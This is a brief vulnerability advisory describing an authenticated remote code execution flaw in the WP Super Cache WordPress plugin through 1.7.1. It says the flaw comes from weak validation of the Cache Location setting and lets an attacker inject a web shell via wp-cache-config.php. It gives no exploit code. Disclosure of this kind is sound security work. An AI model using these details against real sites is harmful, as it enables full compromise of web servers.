### -- [ Info: ]

[i] An Authenticated RCE vulnerability was discovered in the WP Super Cache plugin through 1.7.1 for WordPress.

[i] RCE due to input validation failure and weak $cache_path check in the WP Super Cache Settings -> Cache Location option. Direct access to the wp-cache-config.php file is not prohibited, so this vulnerability can be exploited for a web shell injection.

[i] Another possible attack scenario: from XSS to RCE.



### -- [ Impact: ]

[~] Full compromise of the vulnerable web application and also web server.
